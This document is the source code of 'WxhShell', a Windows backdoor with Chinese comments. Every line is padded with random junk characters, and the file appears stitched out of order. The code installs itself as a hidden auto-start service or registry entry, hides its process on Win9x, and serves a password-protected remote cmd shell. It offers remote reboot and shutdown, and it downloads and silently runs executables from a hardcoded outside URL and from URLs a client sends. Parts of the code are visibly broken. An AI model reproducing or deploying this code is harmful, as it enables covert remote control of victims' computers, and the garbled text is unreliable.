  // 关机 Xdi<V_!BC-  
  case 'd': { DIABR%0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &gJ1*"$9  
    if(Boot(SHUTDOWN)) Wv|CJN;4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LC4VlfU  
    else { P3.  
    closesocket(wsh); o}DR p4;Ka  
    ExitThread(0); ClY`2  
    } Iprt ZqiL  
    break; T+^Sa J  
    } ic5af"/(\  
  // 获取shell |}L=e.  
  case 's': { L3w.<h  
    CmdShell(wsh); JH| D  
    closesocket(wsh); tnAj3wc  
    ExitThread(0); i=L 86Ks  
    break; x <a}*8"  
  } I{ Ip  
  // 退出 : tBe/(e4#  
  case 'x': { )RN3Oz@H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0cSm^a  
    CloseIt(wsh); O|S,="h"}  
    break; L(bDk'zi  
    } v4Wq0>o  
  // 离开 _CPj] m{  
  case 'q': { >fMzUTJ4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d5NE:%K  
    closesocket(wsh); sj4\lpZ3h  
    WSACleanup(); L pq)TE#  
    exit(1); X{Fr  
    break; o{>4PZ}=g  
        } X1d{7H8A2  
  } 5kGQf  
  } je@&|9h  
(a0(ZOKH  
  // 提示信息 Mk~U/oq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e]nP7TIU  
} T ay226  
  } Auc&dpW  
'Kk/ J+6U  
  return; >;XtJJS  
} r!1f>F*dt  
"f8,9@  
// shell模块句柄 hP8w3gl_  
int CmdShell(SOCKET sock) ^, YTQ.O  
{ >-\^)z  
STARTUPINFO si; sBYDo{0 1  
ZeroMemory(&si,sizeof(si)); ZBR^$?nj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^\g.iuE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yH=<KYk  
PROCESS_INFORMATION ProcessInfo;  6/#+#T  
char cmdline[]="cmd"; '%4fQ%ID}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *= O]^|]2  
  return 0; 9+MW13?  
} =dH=3iCG  
SHs [te[  
// 自身启动模式 V,=5}qozQ  
int StartFromService(void) XlD=<$Nk7  
{ !yT=*Cj4  
typedef struct qtdkK LT  
{ )^BZ,e  
  DWORD ExitStatus; q6N{N>-D  
  DWORD PebBaseAddress; 1X2|jj  
  DWORD AffinityMask; kkfBVmuW  
  DWORD BasePriority; k-a1^K3  
  ULONG UniqueProcessId; I{[}1W3]W  
  ULONG InheritedFromUniqueProcessId; `k>C%6FG$#  
}   PROCESS_BASIC_INFORMATION; g)\Tex<  
Op8Gj  `  
PROCNTQSIP NtQueryInformationProcess; fPHV]8Ft|  
*^Zt)U1$|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kp*3:XK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f[D%(  
X31%T"  
  HANDLE             hProcess; 0C.5Qx   
  PROCESS_BASIC_INFORMATION pbi; 4CchE15  
\pkK >R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cuH5f}oc  
  if(NULL == hInst ) return 0; EZ{{p+e ^  
5Pq6X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9od c :  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N<@K(? '  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `q\F C[W  
mi$C%~]5m  
  if (!NtQueryInformationProcess) return 0; A4|7^Ay  
4[#)p}V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @67GVPcxl  
  if(!hProcess) return 0; 0 LXu!iix  
(SQGl!Lai0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Gv:N6  
|EdEV*.ej  
  CloseHandle(hProcess); /s%-c!o^  
wEl7mg !  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k>Fw2!mA^  
if(hProcess==NULL) return 0; 3 ^x&G?)  
ern\QAhXX  
HMODULE hMod; sVFX(yx0  
char procName[255]; Xs|d#WbX  
unsigned long cbNeeded; *;McX  
9{U@s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *g %bdO  
M@7U]X$g  
  CloseHandle(hProcess); !~RK2d  
kCEo */,  
if(strstr(procName,"services")) return 1; // 以服务启动 _.R]K$U  
O-ENFA~E;v  
  return 0; // 注册表启动 @YRy)+  
} ?/1LueC:  
5 (!FQ  
// 主模块 6T+ym9  
int StartWxhshell(LPSTR lpCmdLine) 7[0Mr,^  
{ =w;-4  
  SOCKET wsl; -xLK/QAL  
BOOL val=TRUE; ;nL7Hizo,  
  int port=0; a#+$.e5  
  struct sockaddr_in door; |A,.mOT  
'5*&  
  if(wscfg.ws_autoins) Install(); `KLr!<i()  
N-b'O`C  
port=atoi(lpCmdLine); fj['M6+wd  
Cq7 uy  
if(port<=0) port=wscfg.ws_port; T%9t8?I  
-dF (_ %C  
  WSADATA data; B5+Q%)52  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rN7JJHV  
*2N0r2t&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "M+I$*]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  \v+c.  
  door.sin_family = AF_INET; )(yaX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v!DK.PZbi  
  door.sin_port = htons(port); )Ghw!m  
{S-M]LE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J E5qR2VA  
closesocket(wsl); **z^aH?B2  
return 1; ~`Vo0Z*S  
} pzjNi=vhd  
b@=H$"  
  if(listen(wsl,2) == INVALID_SOCKET) { ]8OmYU%6V  
closesocket(wsl); Vv5T(~   
return 1; <KtL,a=2+  
} 0FH.=   
  Wxhshell(wsl); hP{+`\&<f  
  WSACleanup(); Il>o60u1  
0~_I9|FN  
return 0; k:iy()n[  
ollVg/z  
} J#j3?qrxu  
Q(Q?L5  
// 以NT服务方式启动 7LM&3mA<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wl=yxJu_(  
{ TG8U=9qt  
DWORD   status = 0; vfj{j= G  
  DWORD   specificError = 0xfffffff; *kZH~]  
(4RtoYWW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YM NLn9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g,o46`6"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G#f3 WpD  
  serviceStatus.dwWin32ExitCode     = 0; ^*UtF9~%n  
  serviceStatus.dwServiceSpecificExitCode = 0; NOoF1kS+  
  serviceStatus.dwCheckPoint       = 0; %dr*dA'  
  serviceStatus.dwWaitHint       = 0; lTN^c?  
m+7%]$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !B#lZjW#  
  if (hServiceStatusHandle==0) return; x $[_Hix  
;.xKVH/@  
status = GetLastError(); {*g{9`   
  if (status!=NO_ERROR) {,6J*v"o  
{ P_mP ^L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `-cw[@uD  
    serviceStatus.dwCheckPoint       = 0; x[)]u8^A  
    serviceStatus.dwWaitHint       = 0; 9An \uH)mL  
    serviceStatus.dwWin32ExitCode     = status; "X!1^)W -8  
    serviceStatus.dwServiceSpecificExitCode = specificError; UUbO\_&y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t>LSP$  
    return; ~#VDJ[Z  
  } P*}aeu&lnD  
[g: cG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y4 ]5z/  
  serviceStatus.dwCheckPoint       = 0; #u+qV!4  
  serviceStatus.dwWaitHint       = 0; s:_j,/H0A}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g] ]6)nT  
} (M u;U!M"P  
= \oW {?  
// 处理NT服务事件,比如:启动、停止 9C Ki$L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~@QAa (P.  
{ mea} 9]c  
switch(fdwControl) .q:6F*,1M  
{ ZdY$NpR,  
case SERVICE_CONTROL_STOP: Btr>ek  
  serviceStatus.dwWin32ExitCode = 0; [h&s<<# D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <tsexsw  
  serviceStatus.dwCheckPoint   = 0; ?UIW&*h}  
  serviceStatus.dwWaitHint     = 0; Z 5P4 H  
  { =TzJgx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {(asy}a9K  
  } #j+cl'  
  return; .!lLj1?p  
case SERVICE_CONTROL_PAUSE: ,!,M'<?"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =oiz@Q@H  
  break; y0?HZ Xq  
case SERVICE_CONTROL_CONTINUE: r58<A'#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3m-g-  
  break; {%P 2.:  
case SERVICE_CONTROL_INTERROGATE: 9AQ,@xP|  
  break; `m#G'E I  
}; *:un+k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *<[\|L:#]Z  
} UQYHR+  
*V+,X  
// 标准应用程序主函数 xC0y2+)|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R-,L"Vv  
{ ei=u$S.  
<}c7E3Uc  
// 获取操作系统版本 vpdPW%B  
OsIsNt=GetOsVer(); :f_oN3F p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0yMHU[):~  
mMWhUr  
  // 从命令行安装 7Lj:m.0O^  
  if(strpbrk(lpCmdLine,"iI")) Install(); n;vZY  
-ULgVGYKK  
  // 下载执行文件 ![vy{U.:`  
if(wscfg.ws_downexe) { g3Hi5[-H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W >}T$a}\  
  WinExec(wscfg.ws_filenam,SW_HIDE); g`.H)36  
} ~ oq.yn/1  
hB aG*J{  
if(!OsIsNt) { {-]K!tWda  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;p <BiC$b  
HideProc(); iyUnxqP  
StartWxhshell(lpCmdLine); ,+C?UW  
} w}(pc }^U  
else =,qY\@fq  
  if(StartFromService()) <pKOFN%m  
  // 以服务方式启动 -'WR9M?fq  
  StartServiceCtrlDispatcher(DispatchTable); QR~4Fe  
else T/%Y_.NtU  
  // 普通方式启动 ,VUOsNN4\  
  StartWxhshell(lpCmdLine); ux6)K= ]  
MU `!s b*  
return 0; 0Ny +NE:6M  
} d|~'#:y@  
@;{ZnRv14  
x{So  
'0_W< lGB  
=========================================== $ rbr&TJ  
T?jN/}qg  
tO1k2<Z"Y&  
4 CiRh  
9asA-'fZ  
(sH4 T>  
" 9U3}_  
E(1G!uu<  
#include <stdio.h> CQ Ei(ty  
#include <string.h> 10r!p: D  
#include <windows.h> **AkpV)  
#include <winsock2.h> yOXEP  
#include <winsvc.h> V,[[# a)y  
#include <urlmon.h> i*&b@.7N  
g_>E5z.  
#pragma comment (lib, "Ws2_32.lib") n? =O@yq  
#pragma comment (lib, "urlmon.lib") cf"!U+x  
,Tx38  
#define MAX_USER   100 // 最大客户端连接数 ~-%z:Re'_  
#define BUF_SOCK   200 // sock buffer ZdPqU \G^q  
#define KEY_BUFF   255 // 输入 buffer _ogN   
yw7bIcs|#b  
#define REBOOT     0   // 重启 meThjCC  
#define SHUTDOWN   1   // 关机 Z R~2Y?Wt9  
z 3Z8vq  
#define DEF_PORT   5000 // 监听端口 Wap\J7NY  
#\_FSr fX  
#define REG_LEN     16   // 注册表键长度 K9nW"0>  
#define SVC_LEN     80   // NT服务名长度 !Zc#E,  
B7[#z{8'#  
// 从dll定义API <RH%FhT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LUpkO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4[%_Bnv#AJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LRS,bl3}/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .+u r+" i  
2'Kh>c2  
// wxhshell配置信息 qM 3(OvCt  
struct WSCFG { )`gxaT>&l  
  int ws_port;         // 监听端口 H3iYE~^#  
  char ws_passstr[REG_LEN]; // 口令 {S@, ,  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9>&p:+D  
  char ws_regname[REG_LEN]; // 注册表键名 &=T>($3r94  
  char ws_svcname[REG_LEN]; // 服务名 '*&V7:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wLE|J9t%Ea  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W>b\O">  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v=&xiwz}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mOyNl -f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w=ufJR j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zba<|C  
h*Mi/\  
}; fNyXDCl  
K>\v<!%a  
// default Wxhshell configuration 889^P`Q5  
struct WSCFG wscfg={DEF_PORT, 8LuU2Lo  
    "xuhuanlingzhe", Go]y{9+(7  
    1, {aopGu?i  
    "Wxhshell", W55kR.X6M  
    "Wxhshell", &a\G,Ma  
            "WxhShell Service", n#4T o;CS  
    "Wrsky Windows CmdShell Service", z$/s` |]  
    "Please Input Your Password: ", kaECjZ _&+  
  1, o##!S6:A  
  "http://www.wrsky.com/wxhshell.exe", E=,fdyj.  
  "Wxhshell.exe" Gu2=+?i?h  
    }; 2J3y 1  
3YUF\L]yyw  
// 消息定义模块 mWLiXKnb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M3JV^{O/DV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U:PtRSdn!b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e%9zY{ABR%  
char *msg_ws_ext="\n\rExit."; G%}k_vi&q  
char *msg_ws_end="\n\rQuit."; .+lx}#-#  
char *msg_ws_boot="\n\rReboot..."; V-63   
char *msg_ws_poff="\n\rShutdown..."; aHitPPlq  
char *msg_ws_down="\n\rSave to "; O[|X=ZwR:l  
HA&hu /mw_  
char *msg_ws_err="\n\rErr!"; ]\ZmK0q<:  
char *msg_ws_ok="\n\rOK!"; ,,S 2>X*L  
D_`~$QB`,  
char ExeFile[MAX_PATH]; 7o7FW=^  
int nUser = 0; RH$YM `cZ  
HANDLE handles[MAX_USER]; .8[uEQ_L  
int OsIsNt; I-Hg6WtB  
7Fzr\&  
SERVICE_STATUS       serviceStatus; 6J -=6t|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \t=#MzjR  
.^ba*qb`{  
// 函数声明 85A7YraL  
int Install(void); ^7*zi_Q  
int Uninstall(void);  W}Rzn  
int DownloadFile(char *sURL, SOCKET wsh); UMPW<> z  
int Boot(int flag); x4?g>v*J  
void HideProc(void); CRNt5T>qH  
int GetOsVer(void); C_h$$G{S(  
int Wxhshell(SOCKET wsl); 6y{CM/DC  
void TalkWithClient(void *cs); TeJ=QpGW2  
int CmdShell(SOCKET sock); ArT@BqWd  
int StartFromService(void); .rlLt5b%  
int StartWxhshell(LPSTR lpCmdLine); "5\6`\/  
}/L#<n`Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8>I4e5Ym  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vnlHUQLO  
t7e7q"+/  
// 数据结构和表定义 ow'CwOj$  
SERVICE_TABLE_ENTRY DispatchTable[] = %w/vKB"nO  
{ m1sV~"v;  
{wscfg.ws_svcname, NTServiceMain}, hw B9N  
{NULL, NULL} pqohLA  
}; !bn=b>+  
&}#zG5eu  
// 自我安装 ]KUeSg|  
int Install(void) hij 9r z  
{ >``  
  char svExeFile[MAX_PATH]; [[ll4|  
  HKEY key; ' 'p<C)Q  
  strcpy(svExeFile,ExeFile); 2=VFUR 8  
r\C"Fx^  
// 如果是win9x系统,修改注册表设为自启动 xd+aO=)Td  
if(!OsIsNt) { Fg i;%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !R[~Z7b6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @"aqnj>+  
  RegCloseKey(key); (De>k8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3/,}&SX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `2M*?.vk  
  RegCloseKey(key); }:]CXrdg>  
  return 0; EO/41O  
    } T#&X7!4  
  } 7GJcg7s*T  
} bUuQ"!>ppu  
else { xi)$t#K"  
7T(&DOGZ  
// 如果是NT以上系统,安装为系统服务 Uu9I;q!|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6|4ID"  
if (schSCManager!=0) K[Vj+qdyl  
{ {}H/N   
  SC_HANDLE schService = CreateService >H,E3Z  
  ( ofs'xs1C  
  schSCManager, ZsP>CELm@  
  wscfg.ws_svcname, CSBDSz  
  wscfg.ws_svcdisp, NLt"yD3t  
  SERVICE_ALL_ACCESS, 0W)|n9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +$#h6V  
  SERVICE_AUTO_START, -\25&m!+  
  SERVICE_ERROR_NORMAL, ;Qq7@(2y  
  svExeFile, $gCN[%+j  
  NULL, *bzqH2h8  
  NULL, qXoq< |  
  NULL, R.YUUXT  
  NULL, !L2!:_  
  NULL 64Tb,AL_  
  ); ?gMq:[X N  
  if (schService!=0) y-~_W 6\  
  { Bc'Mj=>;  
  CloseServiceHandle(schService); +DE;aGQ.z?  
  CloseServiceHandle(schSCManager); 7ab'q&Y[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7zowvE?#  
  strcat(svExeFile,wscfg.ws_svcname); ^-"tK:{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r,:acK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ONF x -U]  
  RegCloseKey(key); mRxeob  
  return 0; ^,`]Q)P^  
    } `w)yR>lqh  
  } <s$Jj><  
  CloseServiceHandle(schSCManager); j_z@VT}y  
} E,Xl8rC  
} S.pXo'}  
}-Jo9dNs  
return 1; Z=]ujlD  
} ; FHnu|  
0#~k)>(7lR  
// 自我卸载 h\+8eeIl  
int Uninstall(void) Y3SV6""y/  
{ #];ulDq  
  HKEY key; A f}o/g  
|<uBJ-5  
if(!OsIsNt) { g@Rs.Zq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7JBr{3;eS  
  RegDeleteValue(key,wscfg.ws_regname); v<mSd2B*  
  RegCloseKey(key); /L./-92NH4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u~~ ~@p  
  RegDeleteValue(key,wscfg.ws_regname); Emw]`  
  RegCloseKey(key); d<w]>T5VW  
  return 0; gu&W:FY  
  } |\94a  
} }]^/`n  
} ;jBS:k?  
else {  pQ7<\8s*  
}nSu7)3$B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B;2#Sa.  
if (schSCManager!=0) =,X*40=  
{ MooxT7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D$E#:[  
  if (schService!=0) FU;a { irB  
  { "Jdi>{o8  
  if(DeleteService(schService)!=0) { 8/;@4^Ux  
  CloseServiceHandle(schService); hBhbcWD,ka  
  CloseServiceHandle(schSCManager); *w}r:04F  
  return 0; $ 'yWg_(  
  } vI:_bkii  
  CloseServiceHandle(schService); \[%_ :9eq  
  } _joW%`T8  
  CloseServiceHandle(schSCManager); Y=y 0`?K  
} .:e#!~Ki  
} 8~g~XUl  
U~dqxR"Q  
return 1; 6P)DM  
} ,k(B>O~o  
fUZCP*7>  
// 从指定url下载文件 _rz\[{)  
int DownloadFile(char *sURL, SOCKET wsh) mP?}h  
{ QSwT1P'U  
  HRESULT hr; ;vn0b"Fi3  
char seps[]= "/"; $x#qv1  
char *token; EYi{~  
char *file; </R@)_'  
char myURL[MAX_PATH]; A$L:,b(  
char myFILE[MAX_PATH]; bfkFk  
x'SIHV4M@Q  
strcpy(myURL,sURL); c5pK%I}O  
  token=strtok(myURL,seps); 5'%O]~  
  while(token!=NULL) J/PK #<  
  {  '{cFr  
    file=token; 6rO^ p  
  token=strtok(NULL,seps); `G=+qti  
  } w4zp%`?D'  
L=P8;Gj)  
GetCurrentDirectory(MAX_PATH,myFILE); dCLNZq h6  
strcat(myFILE, "\\"); /+WC6&  
strcat(myFILE, file); %ofq  
  send(wsh,myFILE,strlen(myFILE),0); f"^t~q[VS  
send(wsh,"...",3,0); 2X(2O':Uc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f 0~Z@\  
  if(hr==S_OK) 7e D` is  
return 0; n8D'fvY  
else a.ijc>K  
return 1; ;";>7k/}  
j)Z0K$z=  
} \gv-2.,  
)Lk2tvr  
// 系统电源模块 k?/!`   
int Boot(int flag) RN;#H_ q  
{ $>Ow<! c  
  HANDLE hToken; `>RM:!m6=$  
  TOKEN_PRIVILEGES tkp; z]=Ks_7  
U.ZA%De  
  if(OsIsNt) { q6x}\$mL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :`0,f?cE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P]L%$!g  
    tkp.PrivilegeCount = 1; $#wi2Ve=6b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O"_QDl<ya  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lmw)Ts>  
if(flag==REBOOT) { A{\DzUV9,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [g{fz3 O6  
  return 0; >)mF'w  
} KvI/!hl\  
else { "cbJ{ G1pk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?DnQU"_$  
  return 0; ~bis!(}p-  
} >4HB~9dKU  
  } cBHUa}:  
  else { K)h<#F  
if(flag==REBOOT) { Wu l8ej:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %{me<\(  
  return 0; f/Z-dM\e  
} vq@"y%C4  
else { "u{ymJ]t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E;"VI2F  
  return 0; -W: @3\{  
} 6vzvH  
}  U8% IpI;  
E^~ {thf  
return 1; &]anRT#  
} (X (:h\^  
]eTp?q%0  
// win9x进程隐藏模块 ol`q7i.  
void HideProc(void) &?gcnMg$,J  
{ Cq-99@&;  
Eok8+7g0&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n"R$b:  
  if ( hKernel != NULL ) Lf{pTxKr  
  { h,]lN'JG{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =YtK@+| i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a(h@4 x  
    FreeLibrary(hKernel); ':utU1dL  
  } +RK/u  
F(,SnSam  
return; jASK!3pY  
} `G>|g^6%i  
U)3?&9H  
// 获取操作系统版本 ;zWiPnX}  
int GetOsVer(void) 2"o <>d  
{ 77 ?TRC  
  OSVERSIONINFO winfo; sr~VvciIy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `2xt%kC  
  GetVersionEx(&winfo); z3w;W{2Q;V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lHu/pSu@k  
  return 1; s GrI%3[e"  
  else %H}M[_f  
  return 0; 2m72PU<.  
} dE (d'*+a  
p%OVl[^jp  
// 客户端句柄模块 $=C ` V  
int Wxhshell(SOCKET wsl) >(sS4_O7N  
{ N0ZD+  
  SOCKET wsh; :rvBx"  
  struct sockaddr_in client; -{yG+1  
  DWORD myID; T{BGg  
YKx+z[A/p  
  while(nUser<MAX_USER) TI8E W  
{ )EN ,Ry  
  int nSize=sizeof(client); swhtlc@@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pfm B{  
  if(wsh==INVALID_SOCKET) return 1; lI5>d(6p  
rhN"#?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); / ]nrxT  
if(handles[nUser]==0) ?1X7jn`,+  
  closesocket(wsh); Wx8;+!2Q/  
else BJsN~` =r  
  nUser++; t4-0mNBZt$  
  } fY|vq amA;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~\c  j  
pFwe&_u]  
  return 0; AUl[h&s  
} Q2!RFtXV  
Q%t _Epe  
// 关闭 socket wJ7Fnj>u%  
void CloseIt(SOCKET wsh) 9|9/8a6A  
{ YDEb MEMd/  
closesocket(wsh); *#'&a(h B!  
nUser--; >SD?MW 1E  
ExitThread(0); v\XO?UEJ2  
} Xd&oERJj  
K%/g!t)  
// 客户端请求句柄 Ge76/T%{Q  
void TalkWithClient(void *cs) "(:8 $Fb  
{ wee5Nirw6  
b/=>'2f  
  SOCKET wsh=(SOCKET)cs; ?;go5f+X  
  char pwd[SVC_LEN]; h0VeXUM;.  
  char cmd[KEY_BUFF]; sWgzHj(c  
char chr[1]; 1mx;b)4t  
int i,j; @9MrTP  
EFs\zWF  
  while (nUser < MAX_USER) { a & 6-QVk  
I>>X-}  
if(wscfg.ws_passstr) { qPCI@5n3T?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); az Oib=3fz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X-%91z:o58  
  //ZeroMemory(pwd,KEY_BUFF); LM".]f!,  
      i=0; XJ3aaMh"  
  while(i<SVC_LEN) { hrbeTtqi  
yGb^kR}d  
  // 设置超时 "K*^%{  
  fd_set FdRead; c*)PS`]t  
  struct timeval TimeOut; &Fch{%S>  
  FD_ZERO(&FdRead); =Flr05}m  
  FD_SET(wsh,&FdRead); m=]}Tn  
  TimeOut.tv_sec=8; H"|oI|~  
  TimeOut.tv_usec=0; ;{g>Z|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rrZ'Dz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8p~|i97W]!  
By0Zz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $tebNi P  
  pwd=chr[0]; v1E(K09h2  
  if(chr[0]==0xd || chr[0]==0xa) { JRw)~Tg @  
  pwd=0; W1UqvaR  
  break; N3Z6o.k  
  } (m=F  
  i++; w{Y:p[}  
    } rVnolA*%  
<P c;8[  
  // 如果是非法用户,关闭 socket mmEe@-lE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~G~:R  
} 0"`|f0}c  
5%R$7>`Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *&W1|Qkg_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BctU`.  
zMAlZ[DN  
while(1) { |JCn=v@  
P/dT;YhL  
  ZeroMemory(cmd,KEY_BUFF); "J3n_3+  
>zv}59M  
      // 自动支持客户端 telnet标准   UC"_#!3  
  j=0; {s[,CUL0  
  while(j<KEY_BUFF) { h/#s\>)T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X(K5>L>  
  cmd[j]=chr[0]; )<%IY&\  
  if(chr[0]==0xa || chr[0]==0xd) { b_oUG_B3]  
  cmd[j]=0; "H)D~K~ *  
  break; Z`'&yG;U  
  } XO4rrAYvW  
  j++; {hKf 'd9E  
    } 1$ {Cwb/F  
" G0HsXi  
  // 下载文件  <:`x> _  
  if(strstr(cmd,"http://")) { 2aW"t.[j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M'ZA(LVp  
  if(DownloadFile(cmd,wsh)) %ZZW p%uf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k+Ay^i}s.  
  else +?bOGUik  
